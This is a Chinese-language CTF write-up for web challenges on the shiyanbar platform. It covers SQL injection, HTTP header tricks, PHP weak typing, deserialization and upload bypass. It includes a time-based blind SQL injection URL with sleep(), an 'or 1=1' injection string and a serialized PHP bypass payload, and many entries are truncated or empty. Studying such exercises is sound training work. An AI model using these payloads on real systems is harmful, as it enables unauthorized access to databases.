实验吧writeup
- 看起来有点难分值
1 | 考察点:sleep()时间盲注 |
selete被过滤了,利用slepp()进行时间盲注.关键payload:
1 | http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,1,1)='i') then sleep(18) else sleep(0) end and ''='&pass=9&action=login |
脚本如下:
1 | # http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,1,1)='i') then sleep(8) else sleep(0) end and ''='&pass=&action=login |
- 猫抓老鼠
1 | 在返回报看到:Content-Row: MTU0NTIyNzcyNg== |
- 头有点大分值
1 | 考点:HTTP头 |
- 貌似有点难分值
1 | 考点:HTTP头,XXF |
- 这个看起来有点简单!
1 | 考点:SQL注入, |
1 | 利用 union 进行注入,没有过滤任何字符 |
- PHP大法分值
1 | 考点:php代码审计 |
- what a fuck!这是什么鬼东西?
1 | 考点:JSfack |
1 | 考点: php审计 + sql注入 |
- NSCTF web200
1 | 考点:写脚本能力 |
- 上传绕过
1 | 考点:文件上传,%00截断 |
- FALSE
1 | 考点: hsah1 碰撞 |
Guess Next Session
1
2考点:http cookie
直接将cookie清除即可Once More
1 |
|
1 | 考点:考察php及即弱类型 |
- 忘记密码了
1 | 考点: 源码泄露 |
天网管理系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17考点: php弱类型 php反序列化
查看源码, 发现<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
php中的 == 为弱等于号 当比较类型不一样时会进行转换比如 '1' == '1dfsgdfsg' 结果为Ture
因此只要找到一个字符串加密结果开头为0的即可
数组也应该拿可以绕过,还没试过
回显得到/user.php?fame=hjkleffifer
访问得到:
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
} 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年
看源码应该是php反序列
对password进行序列化
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}Forms
1 | 查看源码,发现: |
- Guess Next Session
1 | 清除cookie就行了 |
- 拐弯抹角
1 | 考点: 伪静态 |
- 让我进去
1 | 考点: Hash拓展长度攻击原理 |
- 天下武功唯快不破
1 | 查看源码发现: |
- 简单的sql注入
1 | 输入1' or '1'='1 |
- 简单的sql注入之2
1 | 测试select |
- 简单的sql注入之3
1 | EXP报错 |
- 因缺思汀的绕过
1 |
-